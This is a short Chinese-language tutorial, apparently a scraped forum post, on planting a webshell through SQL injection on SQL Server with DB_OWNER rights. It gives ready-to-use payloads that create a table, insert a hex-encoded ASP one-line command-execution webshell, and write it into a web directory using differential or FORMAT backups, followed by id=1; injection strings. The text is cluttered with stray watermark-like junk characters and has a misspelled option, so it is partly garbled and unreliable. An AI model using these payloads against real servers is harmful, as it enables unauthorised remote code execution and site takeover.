DB_OWNER权限得到webshell的改进方法

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减少备份文件大小，得到可执行的webshell成功率提高不少
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* M4 h/ B1 t) ^- G一利用差异备份
9 C# V) X( z3 B: j3 r  p加一个参数WITH DIFFERENTIAL
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
1 v* z# C% h: F' w# b8 i3 ycreate table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

7 T! m+ H$ H8 }0 L二利用完全FORMAT
加一个参数WITH FROMAT
0 s$ f% c/ i0 b有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以

5 v% ]# l' f: ?/ `0 o  |! B3 {declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
# ~" c' R3 H  P6 acreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

- H5 v9 ^0 @4 ^; W3 J  Y总的来说就是那么简单几句,下面以备份数据库model为例子

' q1 T6 f) V/ f' x8 ~; q& Yid=1;use model create table cmd(str image);insert into cmd(str) values (”)

id=1;backup database model to disk=’你的路径‘ with differential,format;–
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